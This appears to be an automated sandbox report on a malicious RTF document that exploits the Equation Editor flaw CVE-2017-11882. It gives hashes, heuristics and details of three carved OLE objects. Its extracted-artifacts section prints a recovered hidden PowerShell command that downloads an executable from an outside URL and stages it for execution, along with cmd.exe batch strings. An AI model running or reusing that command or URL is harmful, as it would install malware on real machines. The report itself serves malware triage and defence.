RTF malware analysis — malicious · dbb2217e58920ef1

MALICIOUS

RTF

17.3 KB Authoring application: Riched20 6.3.9600 First seen: 2019-01-12

MD5: dbb2f985c2fe2ca1472f01759a3fe346 SHA-1: b8cd2ac4c1942613db12edc2bfc85f8168ae5634 SHA-256: dbb2217e58920ef168bd7bbaa67fd8d7efeda27e105d8c13ae6c68980fa84ab6

382 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains an embedded OLE object that exploits the Equation Editor vulnerability (CVE-2017-11882). This exploit is designed to download and execute a secondary payload, indicated by the extracted executable file and the embedded URL. The presence of the Equation Editor CLSID and the specific font record overflow signature strongly suggest this attack vector.

Heuristics 10

Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR

Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882

Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
ClamAV: Rtf.Exploit.CVE_2017_11882-6584355-1 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Rtf.Exploit.CVE_2017_11882-6584355-1
Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
\objupdate forces OLE activation high RTF_OBJUPDATE

RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
Package object class high RTF_OBJCLASS_PACKAGE

OLE Package object — can wrap arbitrary files
OLE object data medium RTF_OBJDATA

RTF contains 3 \objdata section(s) — embedded OLE objects
Embedded OLE object medium RTF_OBJEMB

RTF contains \objemb — embedded OLE object
OlePres presentation stream in RTF OLE object medium RTF_OLEPRES_STREAM

RTF contains an embedded OLE object with an OlePres presentation stream. OlePres is an OLE presentation marker and is not enough on its own to identify CVE-2025-21298.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://www.autoschile.net/chileautos/octubre/TerminosYCondiciones.exe In RTF body

Extracted artifacts 3

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`objdata_00_off000000ef.bin`	rtf-objdata-decoded	RTF \objdata at offset 0xEF	418 bytes
SHA-256: `1dd782e664cf0f1f8793477aec799063c1ad49724da10353c5d3aa905b6564f9`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered URL(s): http://www.autoschile.net/chileautos/octubre/TerminosYCondiciones.exe Static shellcode analysis recovered command string(s): PowerShell -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('http://www.autoschile.net/chileautos/octubre/TerminosYCondiciones.exe','%APPDATA%\Rundll32., Rundll32.exe'
`objdata_01_off00000482.bin`	rtf-objdata-decoded	RTF \objdata at offset 0x482	3980 bytes
SHA-256: `54fe98dc401a2141a03e593ff537e5a80695f0aefed301cc2521605dcc2cbac0`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered command string(s): cmd.exe /c%tmp%\rec.bat &��D$,f-Q��%
`objdata_02_off000026c8.bin`	rtf-objdata-decoded	RTF \objdata at offset 0x26C8	3546 bytes
SHA-256: `18bcb66125e76864967e832a27e5a7ad9e2b0e016e147cf23586229f89218b3a`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered command string(s): cmd.exe /c%tmp%\rec.bat AC

Open this report in the interactive analyzer, or submit your own file for analysis.